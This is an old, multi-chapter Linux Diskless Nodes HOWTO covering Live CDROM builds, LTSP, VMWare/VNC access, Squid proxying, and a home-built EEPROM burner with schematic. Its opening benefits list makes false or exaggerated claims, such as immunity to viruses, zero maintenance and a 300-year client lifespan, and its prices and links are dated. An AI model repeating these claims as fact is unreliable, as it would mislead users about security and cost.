  • Total cost of ownership is very low in case of Diskless computers. Total cost of ownership is cost of initial purchasing + cost of maintenance. The cost of maintenance is usually 3 to 5 times the cost of initial computer purchase and this cost is recurring year after year. In case of Diskless computers, the cost of maintenance is completely eliminated!!

  • All the backups are centralized at one single main server.

  • More security of data as it is located at server.

  • No need of UPS battery, air-conditioning, dust proof environment for diskless clients, only server needs UPS battery, A/C and dust proof environment. Only remote server inside the "Data Center" needs to have UPS, Redundant power supply, Portable Diesel Electric generator, A/C, Fire protection, Highly restricted access with locked and secure door to "Data Center".

  • Noise is completely eliminated since diskless computer does not have Fan motor, and local hard-disk. Only server makes lots of noise but it is enclosed in a server room ("Data Center").

  • Protection from Virus attack - Computer virus cannot attack diskless computers as they do not have any hard disk. Virus cannot do any damage to diskless computers. Only one single server box need to be protected against virus attack. This saves millions of dollars for the company by avoiding installation of vaccines and cleaning the hard disks!!

  • Server can have large powerful/high performance hard disks, can optimize the usage of disk space via sharing by many diskless computer users. Fault tolerance of hard disk failure is possible by using RAID on main server.

  • Server can have 64 bit CPU SMP box having many CPUs or even linux super-computers. CPU power can be shared by many diskless computer users

  • Diskless computers are extremely fast because program loading time is completely eliminated. For example, if the server loads the StarOffice suite into memory due to request from one diskless user then if another diskless user wants to use the StarOffice suite then loading time is avoided since StarOffice is already loaded into memory.

  • Diskless linux computers can run programs on multiple servers using the "xhost" and DISPLAY environment.

  • Very few system administrators required to maintain central server unlike Windows 95 PC clients which need many administrators.

  • Zero administration at diskless client side. Diskless computers are absolutely maintenance free and troublefree.

  • Long life of diskless clients - more than 300 years without any hardware or software upgrades.

  • Eliminates install/upgrade of hardware, software on diskless client side.

  • Eliminates cost of cdrom, floppy, tape drive, modem, UPS battery, Printer parallel ports, serial ports etc..

  • Prevents pilferage of hardware components as diskless node has very little RAM and low-cost CPU. The server has lots of memory and many powerful CPUs.

  • Can operate in places like factory floor where a hard disk might be too fragile.

  • Diskless nodes work even on wide area network.


Diskless Nodes HOW-TO document for Linux: Diskless with "Live Linux CDROM"

 Next Previous Contents

3. Diskless with "Live Linux CDROM"

The "Live Linux CDROM" is a CDROM which has the entire Linux Operating System filesystem on the CDROM. It is made by copying the live Linux system on to CDROM. The "Live Linux CDROM" directly boots the Linux operating system from the CDROM drive. But you need to setup the BIOS to first boot from CDROM. Generally the boot order is : Floppy Drive, Hard disk, CDROM. You can enter BIOS setup, by powering on the computer and presssing the DEL key.

Get the "Live Linux CDROM" from

  • http://www.demolinux.org
  • http://www.knopper.net/knoppix
  • http://www.ocslink.com/~blunier

Diskless workstation with "Live Linux CDROM" is becoming a reality because of the following reasons:

  1. RAM prices are all time low and 512MB RAM costs only US$70.
  2. CDROM drives are becoming extremely fast and current read speed is topping at 72X.
  3. CDROM IDE drives are very cheap, CDROM with 52X read speed is costing only US$33.
  4. DVD-ROM is also getting very cheap and can carry 5 Gigabyte of Linux software and is three times faster than CDROM drive.

A big advantage of Live Linux CDROM over other methods of diskless operations like EEPROM is that it is very easy to setup and you can very easily upgrade the Linux CDROM with new versions of the Linux kernel every three months. Simply throw away the old Live Linux CDROM and pop-in the new version Live Linux CDROM. Upgrade is just 20 seconds and the cost of Linux CDROM is 30 cents (less than a US dollar!). In near future, Live Linux CDROM + DVD-ROM will rule the computer desktops.

FIVE SECONDS UPGRADE: Live Linux CDROM promotes RAPID Operating Sytem UPGRADE. You can upgrade an OS in less than 5 seconds!! Live Linux CDROM introduces the concept of mass upgrade and RAPID ACTION. Simply throw away the old Live Linux CDROM and pop in new CDROM and you are done upgrading!

With Live Linux CDROM, you do not need a hard-disk, floppy drives and others. All you need to build a diskless workstation is :

  1. Live Linux CDROM
  2. CPU
  3. Mother board
  4. NIC (Network Interface Card)
  5. CDROM drive (IDE or SCSI)
  6. RAM (32 MB minimum for full graphics and 16 MB minimum for console mode)

For best prices on RAM and CDROM IDE drives check auctions in online stores like Egghead http://www.egghead.com or local stores in your city like UBM, Houston.

After you boot "Live Linux CDROM", you can mount the hard disk partitions from remote Linux servers. And you can use VNC to access MS Windows 2000 and Linux servers. Or you can use WinConnect to access MS Windows applications like MS Office, Outlook etc. But WinConnect needs MS Windows XP/2000/NT server.

To evaluate the CDROM/DVD drives use the following software from http://www.cdspeed2000.com. This site also gives the speed comparison of drives from different vendors. The top speed CDROM drive is from Kenwood at http://www.kenwoodtech.com at 72x speed.

3.1 Build a Live Linux CDROM

You can build your own Live Linux CDROM and customize the kernel, hardware support, loadable module support etc.

This section was originally written by Hans de Goede j.w.r.degoede@et.tudelft.nl for the Diskless-root-NFS-HOWTO. I modified it slightly in order to reflect some differences between this document and the Diskless-root-NFS-HOWTO.

Much of the above also goes for booting from cdrom. Why would one want to boot a machine from cdrom? Booting from cdrom is interesting everywhere one wants to run a very specific application, like a kiosk, a library database program or an internet cafe, and one doesn't have a network or a server to use a root over nfs setup.

Creating a test setup

Now that we know what we want to do and how, it's time to create a test setup:

  • For starters just take one of the machines which you want to use and put in a big disk and a cd burner.
  • Install your linux of choice on this machine, and leave a 650 MB partition free for the test setup. This install will be used to make the iso image and to burn the cd's from, so install the necessary tools. It will also be used to restore any booboo's which leave the test setup unbootable.
  • On the 650 mb partition install your linux of choice with the setup you want to have on the cd, this will be the test setup.
  • Boot the test setup.
  • Compile a kernel with isofs and cdrom support compiled in.
  • Configure the test setup as described above with the root filesystem mounted read only.
  • Verify that the test setup automagically boots and everything works.
  • Boot the main install and mount the 650 MB partition on /test of the main install.
  • Put the following in a file called /test/etc/rc.d/rc.iso, this file will be sourced at the beginning of rc.sysinit to create /var:
                        #/var
                    echo Creating /var ...
                    mke2fs -q -i 1024 /dev/ram1 16384
                    mount /dev/ram1 /var -o defaults,rw
                    cp -a /lib/var /
  • Edit /test/etc/rc.sysinit, comment the lines where the root is remounted rw, and add the following 2 lines directly after setting the PATH:
                        #to boot from cdrom
                    . /etc/rc.d/rc.iso
  • Copy the following to a script and execute it to make a template for /var and create /tmp and /etc/mtab links.
                        #!/bin/sh
                    echo tmp
                    rm -fR /test/tmp
                    ln -s var/tmp /test/tmp

                    ###
                    echo mtab
                    touch /test/proc/mounts
                    rm /test/etc/mtab
                    ln -s /proc/mounts /test/etc/mtab

                    ###
                    echo var
                    mv /test/var/lib /test/lib/var-lib
                    mv /test/var /test/lib
                    mkdir /test/var
                    ln -s /lib/var-lib /test/lib/var/lib
                    rm -fR /test/lib/var/catman
                    rm -fR /test/lib/var/log/httpd
                    rm -f /test/lib/var/log/samba/*
                    for i in `find /test/lib/var/log -type f`; do
                      cat /dev/null > $i;
                    done
                    rm `find /test/lib/var/lock -type f`
                    rm `find /test/lib/var/run -type f`
  • Remove the creation of /etc/issue* from /test/etc/rc.local: it will only fail.
  • Now boot the test partition again, it will be read only just like a cdrom. If something doesn't work reboot to the working partition fix it, try again etc. Or you could remount / rw, fix it, then reboot straight into to test partition again. To remount / rw type:
                        # mount -o remount,rw /

Creating the CD

If you need more information than you can find below, please refer to the CD-Writing-HOWTO.

Creating a boot image

First of all, boot into the working partition. To create a bootable cd we'll need an image of a bootable floppy. Just dd-ing a zImage doesn't work since the loader at the beginning of the zimage doesn't seem to like the fake floppydrive a bootable cd creates. So we'll use syslinux instead.

  • Get boot.img from a redhat cd.
  • Mount boot.img somewhere through loopback by typing:
                        # mount boot.img somewhere -o loop -t vfat
  • Remove everything from boot.img except for ldlinux.sys and syslinux.cfg.
  • Cp the kernel-image from the test partition to boot.img.
  • Edit syslinux.cfg so that it contains the following, of course replace zImage by the appropriate image name:
                        default linux

                    label linux
                    kernel zImage
                    append root=/dev/<insert your cdrom device here>
  • Umount boot.img:
                        # umount somewhere
  • If your /etc/mtab is a link to /proc/mounts, umount won't automagically free /dev/loop0 so free it by typing:
                        # losetup -d /dev/loop0

Creating the iso image

Now that we have the boot image and an install that can boot from a readonly mount it's time to create an iso image of the cd:

  • Copy boot.img to /test
  • Cd to the directory where you want to store the image and make sure it's on a partition with enough free space.
  • Now generate the image by typing:
                          # mkisofs -R -b boot.img -c boot.catalog -o boot.iso /test

Verifying the iso image

  • Mounting the image through the loopbackdevice by typing:
                          # mount boot.iso somewhere -o loop -t iso9660
  • Umount boot.iso:
                          # umount somewhere
  • If your /etc/mtab is a link to /proc/mounts umount won't automagically free /dev/loop0 so free it by typing:
                        # losetup -d /dev/loop0

Writing the actual CD

Assuming that you've got cdrecord installed and configured for your cd-writer type:

             # cdrecord -v speed=<desired writing speed> dev=<path to your writers generic scsi device> boot.iso

Boot the cd and test it

Well the title of this paragraph says it all;)


Diskless Nodes HOW-TO document for Linux: Buying is Cheaper Than Building!

 Next Previous Contents

4. Buying is Cheaper Than Building!

Sometimes, buying a diskless linux computer will be cheaper than building!! In modern days we focus our energy on economy and managing the time efficiently. Gone are the days when you would build everything on your own! Man introduced the concept of mass production (factory having production lines churning out millions of pieces). In the industrialized nation like U.S.A, every product you see is made in mass-production and diskless computers are no exception. There are many companies in USA which manufacture diskless computers in very large quantities.

Checkout the following commercial sites, which are selling diskless linux network-cards and diskless computers. These companies do mass production of Linux Diskless computers selling millions of units and thereby reducing the cost per unit. Each and every fortune 1000 companies in USA will be replacing the MS Windows PCs with diskless computers in near future as diskless linux computers can run both Linux and MS Windows 95 programs (via VMWare BIOS software). VMWare is NOT a emulator but has BIOS which allows you to install Windows 98/NT as guest OS to linux. You can use the 'xhost' command and DISPLAY environment from diskless node to run Windows95/Linux programs. See 'man xhost' on linux. You can also use Virtual Network Computing (VNC) to run Windows95/NT programs on linux diskless nodes. Get VNC from http://www.uk.research.att.com/vnc Or you can use WinConnect to access MS Windows applications like MS Office, Outlook etc. But WinConnect needs MS Windows XP/2000/NT server.

  • Linux Systems Labs Inc., USA http://www.lsl.com Click on "Shop On-line" and then click on "HardWare" where all the Diskless computers will be listed. Phone 1-888-LINUX-88.

  • Diskless Workstations Corporation, USA http://www.disklessworkstations.com

  • Unique Systems of Holland Inc., Ohio, USA http://www.uniqsys.com

Even if you buy diskless linux computer, you may be very much interested in reading this entire document.


Diskless Nodes HOW-TO document for Linux: Internet Cafe and Financial Banking with "Diskless Linux"

 Next Previous Contents

5. Internet Cafe and Financial Banking with "Diskless Linux"

You can set up Internet Cafe with diskless Linux. Internet cafes are immensely popular in developing countries like India, Thailand, China. In India Internet cafes are also serving as financial banking centers where people go to pay bills, trade stocks, transfer money and do online banking. In India people do not go to bank they go to Internet cafe for online banking!!

5.1 Setup IP Masquerading, IP Netfilter and Squid

To connect the diskless nodes to the Internet, you should setup the IP Masquerading on the main Linux server which is connected to the Internet. The main Linux server will act like a proxy server for the diskless nodes.

Configure Firewall and IP Masquerading : For Linux kernel version 2.4 and above, the firewall and IP Masquerading is implemented by NetFilter package. Hence in kernel config you should enable Netfilter and run the Firewall/IPMasq script. Download the scripts from Firewall-IPMasq scripts , main page of Netfilter is at http://netfilter.samba.org. Related materials at firewalling-matures and Netfilter-FAQ.

For kernel version below 2.4 you should install the firewall rpms from rpmfind.net or firewall.src.rpm.

See also http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html.

Setup Squid : You should install Squid on the main Linux server which can act as a proxy for the diskless nodes.

Squid is a high-performance proxy caching server for Web clients, supporting FTP, gopher, and HTTP data objects. Unlike traditional caching software, Squid handles all requests in a single, non-blocking, I/O-driven process. Squid keeps meta data and especially hot objects cached in RAM, caches DNS lookups, supports non-blocking DNS lookups, and implements negative caching of failed requests.

Squid consists of a main server program squid, a Domain Name System lookup program (dnsserver), a program for retrieving FTP data (ftpget), and some management and client tools.

Install the Squid from the Linux cdrom -

bash# rpm -i /mnt/cdrom/RPMS/squid*.rpm
You can see the port number where Squid runs by viewing the file /etc/services and search for word "squid". Says something like 'squid 3128/tcp # squid web proxy'

On the diskless nodes bring up the web browser and pick Configure and check the "use proxy". Put the hostname of main Linux server and port number as 3128. Now the diskless node can surf the internet web pages!


Diskless Nodes HOW-TO document for Linux: Diskless Computer for Microsoft Windows 95/NT !!

 Next Previous Contents

6. Diskless Computer for Microsoft Windows 95/NT !!

Since Microsoft Windows 95/NT DOES NOT support diskless nodes, there is an intelligent work-around to overcome this short coming. Microsoft corporation will be surprised !!

6.1 VMWare package

Use the VMWare BIOS software with Linux which can host the Windows 95/98/NT. Linux will be the "host" OS and Windows 95/NT will be the "guest" OS. VMWare is NOT a emulator but has BIOS which allows you to install Windows 95/98/NT as the guest OS to linux. Install the VMWare on Linux server and then install Windows 95/NT on VMWare.

You can use the 'xhost' command and DISPLAY environment from any diskless node. See 'man xhost' on linux. At diskless node give -

        export DISPLAY=server_hostname:0.0
where server_hostname is the name of the server machine. And start X-terminal with
        xterm
Using VMWare, Diskless linux computers can run both Linux and MS Windows 95 programs. VMWare is at http://www.vmware.com.

6.2 Plex86 package

There are other tools similar to vmware:

  • Plex86 (open-source) at http://www.plex86.org
  • Wine (open-source) at http://www.winehq.com
  • Win4Lin at http://www.netraverse.com

6.3 VNC package from AT and T

You can also use the VNC (Virtual Network Computing) Technology from AT & T. VNC is GPLed and is a free software. Using VNC you can run Windows 95/NT programs on diskless linux computer but actually running on remote Windows95/NT server.

You can use the VNC to display remote machines on your local display.

  • The VNC is at http://www.uk.research.att.com/vnc

  • Get VNC rpms from rpmfind.

  • The best Window manager for VNC is QVWM which is like MS Windows 98/NT/2000 interface, get it from http://www.qvwm.org. To turn off xlock in qvwm edit file qvwm/system.qvwmrc file and comment out XLock.

  • After starting vncserver, you can start the vncviewer program on clients like MS Windows, Mac or Linux.

  • See also the List of X11 Windows Managers.

  • See also WinConnect to access MS Windows applications like MS Office, Outlook etc. But WinConnect needs MS Windows XP/2000/NT server.

Compiling qvwm on Solaris : On Solaris you should install the following packages which you can get from http://sun.freeware.com - xpm, imlib, jpeg, libungif, giflib, libpng, tiff. And you can download the binary package for solaris from http://www.qvwm.org.

Or you can download the qvwm source for solaris from http://www.qvwm.org and compile it using gcc.

Troubleshooting compile: You should put unsigned long before arg in usleep() usleep((unsigned long) 10000)


Diskless Nodes HOW-TO document for Linux: Quick Steps to implement Diskless Nodes

 Next Previous Contents

7. Quick Steps to implement Diskless Nodes

An overview to build diskless nodes is as follows:

  • Download/Install redhat RPM packages from LTSP org
  • Test with floppy disk (1.44MB) having the PROM program.
  • Next you have to make the Network card which has the bootable prom
    • Either purchase NIC ready with prom or
    • Flash boot Roms can be used instead of EEPROMS (if flash-roms are supported by NICs)
    • Purchase the eproms
    • (or) Purchase Eprom burner to burn your own eproms. Transfer the tested program from floppy to prom via eprom burner
  • Visit http://www.disklessworkstations.com to buy eprom burners and see also List of EPROM Burner manufacturers, Build EEPROM burner

7.1 Linux Terminal Server Project - LTSP

LTSP is an open source code project to build diskless linux computers.

At LTSP site you will find RPM packages for Redhat Linux and packages for Debian Linux which will save you lots of time. The subsequent chapters given in this document are for academic purposes only, which you can read them if you have more time.

Visit the LTSP and related sites at :-

  • http://www.ltsp.org
  • http://www.disklessworkstations.com
  • http://www.slug.org.au/etherboot and at mirror-site and at google-site
  • http://metalab.unc.edu/Linux/HOWTO/XFree86-Video-Timings-HOWTO.html
Related topics worth seeing -
  • NCD X-terminal http://www.linuxdoc.org/HOWTO/mini/NCD-X-Terminal.html


Diskless Nodes HOW-TO document for Linux: EEPROMs or Flash ROMs?

 Next Previous Contents

8. EEPROMs or Flash ROMs?

You can use the Flash ROMs if they are supported by your NICs (Network Interface Cards). Many new NICs support flash ROMs. For older NICs you need EEPROMs and you may need to burn the EEPROMs. Flash Boot Roms can be used instead of EEPROMS (in case where flash boot ROMs are supported by the NICs).


Diskless Nodes HOW-TO document for Linux: Building EEPROM Burner

 Next Previous Contents

9. Building EEPROM Burner

9.1 What is this ?

(Note: This chapter is written by Abhijit Dasgupta. Abhijit's email: takdoom@yahoo.com

The name of this project is EEP and it can be obtained from:

  • Primary site (download tarball only): http://metalab.unc.edu/pub/Linux/apps/circuits/ And look for file named EEP-0.2.tgz and eeprom.html.
  • Browse and/or download: http://members.nbci.com/abhijit_dasgupta/eep/index.html
Please do not use the old URL for EEP anymore.)

EEP is an open hardware design (you are free to copy, use, and modify the hardware design) EEPROM burner for 24-pin and 28-pin 5-volt EEPROMs. There are various designs available, but my main goal was to have something which

  • is easy to build and uses only the most commonly available parts,
  • is cheap, and
  • is controlled by Linux.
The latest version is EEP-0.2.

The ICs in EEP are all common 74HCT series logic chips, and it uses the PC parallel port interface. I wrote the driver code for Linux only, but it is GPL code, and it should be easy to modify it for other PC operating systems.

I use EEP to burn netboot PROMs for ethernet cards, which are used to make diskless linux boxes. See the netboot/etherboot packages for details of how to do that. You can also use it for microcontroller systems with external ROM (e.g. 8031).

9.2 Supported EEPROMs

Most 5-volt-programmable 24-pin and 28-pin EEPROMs should work with EEP-0.2. Here is a partial list of common EEPROMS that are known to work:

  • 24-pin 2816/28C16, 2048 bytes (16 kilobits)
  • 28-pin 2817/28C17, 2048 bytes (16 kilobits)
  • 28-pin 2864/28C64, 8192 bytes (64 kilobits)
  • 28-pin 28256/28C256, 32768 bytes (256 kilobits)
Various vendors manufacture these EEPROMs. Some are: Microchip, Atmel, Xicor, Catalyst, and STM.

9.3 Schematics and pinouts

The schematic is in PostScript (schematic.ps), but a GIF image (schematic.gif) is also included. The ascii version is older. In the schematic diagram, pin numbers are shown outside each IC diagram. Pin numbers for the big box on the right side are for the 28-pin ZIF socket.

The file pinouts.txt has pinout information for the ICs used.

For the 74HCT ICs used in the circuit, Vcc and Ground connections are not shown in the schematic. Of course, these pins must be properly connected. Please refer to the pinouts.txt file for full pinouts (in particular Vcc/Ground connections).

9.4 Construction

WARNING: It is easy to destroy the parallel port of your PC by connecting things to it. It is also possible to damage or destroy the whole PC, its attachments, peripherals, and people near it by improper connections and electrical accidents. USE EXTREME CAUTION.

Disclaimer: Use at your own risk. There is absolutely no warranty of any kind here, see COPYING/LICENSE below.

The programmer can be built on a breadboard, but use a protoboard for a more permanent version. Use 0.1uF power-bus bypass capacitors generously. The 5V power source can be obtained from the PC itself, but be careful here. The 28-pin ZIF socket is perhaps the most expensive component. If you are building on a breadboard, you may be able to get by without it (not recommended).

The 180 ohms resistor connecting pin 10 (Y6) of the upper 74HCT259 to pin 1 of the ZIF socket is a current limiting resistor to protect the 74HCT259 IC in cases where a 28-pin EEPROM with RDY/BSY pin is used. When using 32 kilobytes (256 kilobits) EEPROMs like the 28256, it is recommended that this resistor be shorted for more reliable operation.

9.5 Jumper setup

J1 and J2 are single-row 3-pin headers for jumpers. When using 28-pin EEPROMs, jumper the right two pins on both J1 and J2. For 24-pin EEPROMs, jumper the left two pins on both J1 and J2.

9.6 Low-justification of 24-pin EEPROM devices

When plugging in a 24-pin EEPROM device (like 2816) into the 28-pin ZIF socket, make sure the 24-pin device is low-justified in the ZIF socket. This means that pins 1, 2, 27, and 28 of the ZIF socket will remain unused, and the ground pin of the devices match up (i.e. pin 12 of the 24-pin device should sit in to pin 14 of the ZIF socket).

9.7 Parts List

  • ICs: 74HCT123, 74HCT132, 74HCT138, 74HCT157, 74HCT574 (1 ea), and 2 74HCT259s.
  • Resistors: 100K, 10K, 1K, 180 ohms, and 390 ohms (1 ea).
  • Capacitors: 100pF, 1uF, (1 ea) and 3 0.1uF power-bus bypass capacitors.
  • Misc: 1 LED, 1 SPST switch, 25-conductor ribbon cable with DB25 male connector, 28 pin ZIF socket (small breadboard can be used instead), header pins for jumpering.

9.8 If you have already built EEP-0.1

If you have already built the EEP-0.1 burner, you can make the following modificatons to make the EEP-0.2 burner:

  1. remove the connection from 74HCT157 pin 1 (SEL) to the upper 74HCT259 pin 11 (Y6)
  2. remove the 1K resistor that is connected from pin 1 of ZIF-socket to Vcc
  3. add a new connection from pin 1 (SEL) of the 74HCT157 to pin 9 of of the DB-25 parallel port
  4. add a new connection from pin 10 of the upper 74HCT259 to the unused pin of J1
  5. add a 180 ohms resistor from pin 11 of the upper 74HCT259 to pin 1 of the ZIF-socket

9.9 How to build the software

Download the software http://metalab.unc.edu/pub/Linux/apps/circuits/EEP-0.2.tar.gz and unpack it. Then cd to the src directory and type `make'.

9.10 Usage

The progran eep is used for burning and reading an eeprom. It reads data from stdin and writes it to the eeprom. The data needs to be in binary (raw) format. None of the usual hex and/or ascii formats (Intel, Motorola srecord, etc) are supported, so if your assembler ouputs in only a hex/ascii format, you will need to convert it to binary (see, e.g., the Hex2bin and srecord, available from the metalab.unc.edu/pub/Linux archive). When reading, the output is also raw binary to stdout (unless the -t option is given).

Usage:

      eep  -0|-1|-2  -r|-w  -b|-t  offset  size

where:

    -0|-1|-2  -0 chooses port lp0, -1 port lp1, and -2 port lp2,
    -r|-w     -r reads the eeprom to stdout, and -w burns it from stdin,
    -b|-t     -b is normal (binary) mode, and -t is debugging (ascii hex),
    offset    is the start address within the eeprom, 0..32767, and,
    size      is the number of bytes to read/write, 0..32768.

The offset and size can be specified as a string of digits in decimal
notation, but will be taken as hexadecimal when there is a ``0x'' prefix,
and octal when preceded by ``0''.

Examples
--------

# Read the contents of a 2864 in binary (raw) form and save it in a file
eep -1 -r -b 0 8192 > contents.bin
# Same as:
eep -1 -r -b 0 0x2000 > contents.bin

# List 16 bytes starting at offset 128
eep -1 -r -t 128 16
# Same as:
eep -1 -r -t 0x80 0x10

# Write 16384 bytes from the file nepci.lzrom into the first-half of
# a  28C256 eeprom, through lp0:
cat nepci.lzrom | eep -0 -w -b 0 16384

9.11 Schematic Diagram in ASCII

                       +-------+                      J1
              +5-------|RST    |               +5---o o o----+   +-----------+
              +5--o----|/CLR1  |         10K          |      |   |           |
                  |    |       |-----o--/VVV\-- +5    +------|---|26 A13(+5V)|
      +------+    |    |1/2 123|     |              +--------|-->|27 /WE(NC) |
 16 o-|/CS2  |    |    |       |--||-+              | +------|-->|23 A11(/WE)|
      |   CS1|----o----|B1     | 100pF              | | J2   |   |           |
      |      |         |    /Q1|---------->---------o o o    |   |  ZIF28    |
      |    Y1|---------|/A1    |                        |    |   |  socket   |
      | 138  |         +-------+         _ 1/2 74HCT132 |    |   |   for     |
      |      |                     +5 --| \   __        |    |   |  EEPROM   |
      |    Y2|--------------------------|  O--| \       |    |   |           |
  8 o-|A2    |                +-------+ |_/   |  O-----------|-->|22 /OE     |
  7 o-|A1  Y4|--------------->|EN   Y7|-----o-|_/       |    |   |           |
  6 o-|A0  Y3|----+    +5-----|RST    |     |   180 ohm |    |   |           |
      |    Y0|-+  |           |     Y6|-----|---/VVV\---|----|---|1 A14(NC)  |
      |  /CS3| |  |           | 259 Y5|-----|-----------|----+   |           |
      +------+ |  |           |     Y4|-----|-----------|------->|2 A12(NC)  |
            |  |  |           |     Y3|-----|-----------+        |           |
  5 o--->---|--|--|--------o--|D    Y2|-----|------------------->|21 A10     |
  4 o--->---|--|--|------o-|--|A2   Y1|-----|------------------->|24 A9      |
  3 o--->---|--|--|----o-|-|--|A1   Y0|-----|------------------->|25 A8      |
  2 o--->---|--|--|--o-|-|-|--|A0     |     |                    |           |
            |  |  |  | | | |  +-------+     |      +5------------|28 +5V(NC) |
            |  |  |  | | | |                |                    |           |
            |  |  |  | | | |  +-------+     |                    |           |
            |  |  |  | | | |  |     Y7|-----|------------o------>|3  A7      |
            |  |  +---------->|EN     |-----|-----------o|------>|4  A6      |
            |  |     | | | |  |       |-----|----------o||------>|5  A5      |
            |  |     | | | |  | 259   |-----|---------o|||------>|6  A4      |
            |  |     | | | |  |       |-----|--------o||||------>|7  A3      |
            |  |     | | | |  |       |-----|-------o|||||------>|8  A2      |
            |  |     | | | +--|D      |-----|------o||||||------>|9  A1      |
            |  |     | | +----|A2   Y0|-----|-----o|||||||------>|10 A0      |
            |  |     | +------|A1     |     |     ||||||||       |           |
            |  |     +--------|A0  RST|     |     ||||||||       | ZIF28     |
            |  |              +-------+     |   +------------+   | socket    |
            |  |                    |       |   |   data in  |   |  for      |
            |  |                   +5       +-->|/OE         |   | EEPROM    |
            |  |                                |     574    |   |           |
            |  +------------------------------->|CLK         |   |           |
            +----+                              |   data out |   |           |
                 |                              +------------+   |           |
                 |              +------------+     ||||||||      |           |
  9 o-------------------------->| SEL        |     ||||||||      |           |
                 |              |          B3|<----|||||||o------|19 D7      |
 11 o---<-----------------------|Y3        B2|<----||||||o-------|18 D6      |
 12 o---<-----------------------|Y2        B1|<----|||||o--------|17 D5      |
 13 o---<-----------------------|Y1  157   B0|<----||||o---------|16 D4      |
 15 o---<-----------------------|Y0        A3|<----|||o----------|15 D3      |
                 |              |          A2|<----||o--- data---|13 D2      |
                 |              |          A1|<----|o---- bus ---|12 D1      |
                 |       GND----|/OE       A0|<----o-------------|11 D0      |
  +5--o--+       |              +------------+                   |           |
      |  |  __   o---------------------------------------------->|20 /CE   14|
    100K +-|  \  |  __                                           +---------+-+
  sw1 |    |   O-o-|  \ 1/2 74HCT132                                       |
  o-->o----|__/    |   O---390ohm--+                                       |
  |   |          +-|__/            |                                  GND -+
  |  --- 1uF     |                LED
  |  ---     +5--+                 |
  |   |                            |
  +---o----------------------------o- GND

Notes:

1. Pin numbers on the left margin are for DB25 parallel port.
3. A 24-pin chip (e.g. 2816) must be low-justified in the 28-pin ZIF socket.
2. Pin numbers in the right box are for the ZIF-28 socket, not the IC.
7. The signal labels inside the ZIF-28 socket box are for 28-pin EEPROMs
   (they are given in parentheses for 24-pin EEPROMs).
4. J1 and J2 are single-row 3-pin headers for jumpers (or use a DPDT switch).
5. For 28-pin EEPROMs, jumper the right two pins of both J1 and J2.
6. For 24-pin EEPROMs, jumper the left two pins of both J1 and J2.
8. The SPST switch sw1 needs to be open to enable operation of the programmer.
9. Please refer to the file pinouts.txt for full pinouts of the ICs used.
Abhijit Dasgupta takdoom@yahoo.com


Diskless Nodes HOW-TO document for Linux: EPROM Burners and Memory chips

 Next Previous Contents

10. EPROM Burners and Memory chips

Below is the information about EPROM and various types of memory chips.

10.1 Non-Volatile Memory chips

Here is the brief descriptions of memory chips and their types.

  • PROM: Pronounced prom, an acronym for programmable read-only memory. A PROM is a memory chip on which data can be written only once. Once a program has been written onto a PROM, it remains there forever. Unlike RAM, PROMs retain their contents when the computer is turned off. The difference between a PROM and a ROM (read-only memory) is that a PROM is manufactured as blank memory, whereas a ROM is programmed during the manufacturing process. To write data onto a PROM chip, you need a special device called a PROM programmer or PROM burner. The process of programming a PROM is sometimes called burning the PROM. An EPROM (erasable programmable read-only memory) is a special type of PROM that can be erased by exposing it to ultraviolet light. Once it is erased, it can be reprogrammed. An EEPROM is similar to a PROM, but requires only electricity to be erased.
  • EPROM: Acronym for erasable programmable read-only memory, and pronounced e-prom, EPROM is a special type of memory that retains its contents until it is exposed to ultraviolet light. The ultraviolet light clears its contents, making it possible to reprogram the memory. To write to and erase an EPROM, you need a special device called a PROM programmer or PROM burner. An EPROM differs from a PROM in that a PROM can be written to only once and cannot be erased. EPROMs are used widely in personal computers because they enable the manufacturer to change the contents of the PROM before the computer is actually shipped. This means that bugs can be removed and new versions installed shortly before delivery. A note on EPROM technology: The bits of an EPROM are programmed by injecting electrons with an elevated voltage into the floating gate of a field-effect transistor where a 0 bit is desired. The electrons trapped there cause that transistor to conduct, reading as 0. To erase the EPROM, the trapped electrons are given enough energy to escape the floating gate by bombarding the chip with ultraviolet radiation through the quartz window. To prevent slow erasure over a period of years from sunlight and fluorescent lights, this quartz window is covered with an opaque label in normal use.
  • EEPROM: Acronym for electrically erasable programmable read-only memory. Pronounced double-e-prom or e-e-prom, an EEPROM is a special type of PROM that can be erased by exposing it to an electrical charge. Like other types of PROM, EEPROM retains its contents even when the power is turned off. Also like other types of ROM, EEPROM is not as fast as RAM. EEPROM is similar to flash memory (sometimes called flash EEPROM). The principal difference is that EEPROM requires data to be written or erased one byte at a time whereas flash memory allows data to be written or erased in blocks. This makes flash memory faster.
  • FRAM: Short for Ferroelectric Random Access Memory, a type of non-volatile memory developed by Ramtron International Corporation. FRAM combines the access speed of DRAM and SRAM with the non-volatility of ROM. Because of its high speed, it is replacing EEPROM in many devices. The term FRAM itself is a trademark of Ramtron.
  • NVRAM: Abbreviation of Non-Volatile Random Access Memory, a type of memory that retains its contents when power is turned off. One type of NVRAM is SRAM that is made non-volatile by connecting it to a constant power source such as a battery. Another type of NVRAM uses EEPROM chips to save its contents when power is turned off. In this case, NVRAM is composed of a combination of SRAM and EEPROM chips.
  • Bubble Memory: A type of non-volatile memory composed of a thin layer of material that can be easily magnetized in only one direction. When a magnetic field is applied to circular area of this substance that is not magnetized in the same direction, the area is reduced to a smaller circle, or bubble. It was once widely believed that bubble memory would become one of the leading memory technologies, but these promises have not been fulfilled. Other non-volatile memory types, such as EEPROM, are both faster and less expensive than bubble memory.
  • Flash Memory: A special type of EEPROM that can be erased and reprogrammed in blocks instead of one byte at a time. Many modern PCs have their BIOS stored on a flash memory chip so that it can easily be updated if necessary. Such a BIOS is sometimes called a flash BIOS. Flash memory is also popular in modems because it enables the modem manufacturer to support new protocols as they become standardized.

10.2 List of EEPROM Burner manufacturers

For a list of EPROM burner manufacturers visit the Yahoo site and go to economy->company->Hardware->Peripherals->Device programmers.

  • Yahoo URL for EPROMs is at http://dir.yahoo.com/Business_and_Economy/Companies/Computers/Hardware/Peripherals/Device_Programmers/

  • Advanced Research Technology B.V - development, production and sales of electronic programmer equipment; development of hardware and software.
  • Elnec, Presov - manufacturers of programmers, emulators and simulators.
  • Advin Systems Inc. - PC-based device programmers that support the latest in package types and device technologies.
  • Andromeda Research Labs - manufactures a portable eprom and device programming system.
  • B and C Microsystems, Inc - offers test and duplication/programming equipment for PCMCIA (PC) Cards, ISA/PCI Cards, SIMMs, Memory Devices (including FLASH), PLDs.
  • BP Microsystems - Device Programmers.
  • Bytek - designs, develops, manufactures and markets micro-processor-based, modular electronic systems used to program and test semiconductor devices. Product line includes the ChipBurner.
